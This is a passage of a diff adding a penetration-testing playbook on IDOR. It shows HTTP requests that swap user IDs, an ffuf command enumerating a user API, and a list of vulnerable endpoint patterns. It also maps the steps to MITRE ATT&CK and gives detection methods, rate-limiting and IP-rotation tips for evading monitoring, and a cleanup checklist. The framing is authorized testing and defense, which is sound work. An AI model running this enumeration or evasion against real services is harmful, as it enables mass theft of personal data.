+ GET /api/users/123 HTTP/1.1
333
+ Host: target.example.com
334
+ Authorization: Bearer eyJhbGc...
335
+
336
+ # Manually changed to adjacent ID
337
+ GET /api/users/124 HTTP/1.1
338
+ Host: target.example.com
339
+ Authorization: Bearer eyJhbGc...
340
+
341
+ # Returns different user's full profile — IDOR confirmed
342
+
343
+ # Automated with ffuf
344
+ ffuf -u https://target.example.com/api/users/FUZZ -w ids.txt -mc 200
345
+
346
+ # Result: full user database extracted in ~3 minutes
347
+ ```
348
+
349
+ **Common locations where IDOR is found:**
350
+ - `GET /api/users/{id}` — direct user lookup
351
+ - `GET /api/orders/{order_id}` — order details with PII
352
+ - `GET /api/invoices/{invoice_id}` — financial records
353
+ - `GET /api/messages/{message_id}` — private messages
354
+ - `POST /api/profile/update` with body `{"user_id": 124, ...}`
355
+ - `GET /download?file_id=456` — file download by ID
356
+
357
+ ---
358
+
359
+ ## MITRE ATT&CK Mapping
360
+
361
+ | Step | Phase | Tactic | Technique ID | Technique Name | Sub-technique |
362
+ |---|---|---|---|---|---|
363
+ | 1 — Discover endpoint via browsing/JS | Recon | Reconnaissance | T1190 | Exploit Public-Facing Application | — |
364
+ | 2 — Confirm IDOR with adjacent ID | Initial Access | Initial Access | T1190 | Exploit Public-Facing Application | — |
365
+ | 3 — Determine ID range | Discovery | Discovery | T1083 | File and Directory Discovery | — |
366
+ | 4 — Automate enumeration with ffuf | Collection | Collection | T1119 | Automated Collection | — |
367
+ | 5 — Access individual user records | Collection | Collection | T1530 | Data from Cloud Storage Object | — |
368
+ | 6 — Extract and structure PII | Exfiltration | Exfiltration | T1567 | Exfiltration Over Web Service | T1567.002 |
369
+
370
+ ---
371
+
372
+ ## Detection & OPSEC
373
+
374
+ ### How This Attack Is Detected
375
+
376
+ | Detection Method | What It Catches |
377
+ |---|---|
378
+ | Sequential ID pattern in access logs | Rapid enumeration of `/api/users/1`, `/api/users/2`, `/api/users/3` |
379
+ | Anomalous access volume per session | One token accessing hundreds or thousands of user records |
380
+ | WAF rate limiting rules | High request rate to the same endpoint from one IP |
381
+ | Baseline deviation alerting (SIEM) | A single user account accessing far more user objects than their median |
382
+ | API gateway analytics | Spike in 200 responses to parametric endpoints |
383
+
384
+ ### Reducing Detection Risk During an Authorized Engagement
385
+
386
+ - **Slow the rate:** Use `-rate 5` in ffuf and `-p 1.0` (1-second delay between requests); sequential ID enumeration at 5 req/s is far less likely to trigger alerts than 500 req/s.
387
+ - **Randomize ID order:** Shuffle the wordlist (`shuf /tmp/user_ids.txt > /tmp/user_ids_shuffled.txt`) to avoid sequential access patterns.
388
+ - **Rotate IPs if permitted:** Use a VPN or proxy rotation if the engagement scope permits; clarify with the client before doing so.
389
+ - **Limit the proof-of-concept scope:** Extract only 10–20 records sufficient to demonstrate impact; do not exfiltrate a full production database unless explicitly required by the scope agreement.
390
+ - **Avoid peak hours:** Run enumeration during off-hours to reduce collateral visibility in monitoring dashboards.
391
+ - **Use a dedicated test account:** Never use a shared or client employee account for enumeration.
392
+
393
+ ### Artifacts Left Behind
394
+
395
+ | Artifact | Location | Notes |
396
+ |---|---|---|
397
+ | Access log entries | Web server / API gateway logs | Each request logged with token, IP, timestamp, and endpoint |
398
+ | WAF/SIEM alerts | Security monitoring platform | Rate-based or behavioral alerts may fire |
399
+ | Session token in logs | Application logs | Your test token is associated with all enumerated requests |
400
+ | Extracted data files | Attacker machine only | `/tmp/extracted_users.csv`, `/tmp/idor_results.json` — local only |
401
+
402
+ ---
403
+
404
+ ## Cleanup
405
+
406
+ After the authorized engagement is complete, remove all locally stored data and notify the client.
407
+
408
+ ```bash
409
+ # Remove all extracted data from local machine
410
+ rm -f /tmp/user_ids.txt
411
+ rm -f /tmp/user_ids_shuffled.txt
412
+ rm -f /tmp/idor_results.json
413
+ rm -f /tmp/idor_results_slow.json
414
+ rm -f /tmp/extracted_users.csv
415
+ rm -f /tmp/idor_evidence_request.txt
416
+ rm -f /tmp/extract_pii.py
417
+
418
+ # Verify removal
419
+ ls /tmp/idor* /tmp/user_ids* /tmp/extracted* 2>/dev/null && echo "Files remain" || echo "Cleanup complete"
420
+ ```
421
+
422
+ **Engagement closeout checklist:**
423
+ - [ ] All extracted PII deleted from attacker machine and any intermediate storage
424
+ - [ ] Burp Suite project file deleted or cleared if it captured PII responses
425
+ - [ ] Test account credentials revoked or handed back to client
426
+ - [ ] Client notified of which IDs were accessed during testing (provide the ID list for their audit trail)
427
+ - [ ] Confirm with client that no screenshots, recordings, or cloud syncs retained PII
428
+
429
+ ---
430
+
431
+ ## References
432
+
433
+ | Resource | URL |
434
+ |---|---|
435
+ | OWASP A01:2021 Broken Access Control | https://owasp.org/Top10/A01_2021-Broken_Access_Control/ |
436
+ | OWASP API Security Top 10 — API1:2023 BOLA | https://owasp.org/API-Security/editions/2023/en/0xa1-broken-object-level-authorization/ |
437
+ | MITRE ATT&CK T1190 | https://attack.mitre.org/techniques/T1190/ |
438
+ | MITRE ATT&CK T1530 | https://attack.mitre.org/techniques/T1530/ |
439
+ | MITRE ATT&CK T1119 | https://attack.mitre.org/techniques/T1119/ |
440
+ | ffuf documentation | https://github.com/ffuf/ffuf |
441
+ | PortSwigger IDOR Lab | https://portswigger.net/web-security/access-control/idor |
442
+ | HackerOne IDOR reports (public) | https://hackerone.com/hacktivity?querystring=IDOR |
443
+ | Optus breach analysis (2022) | https://www.cyber.gov.au/about-us/view-all-content/alerts-and-advisories/optus-data-breach |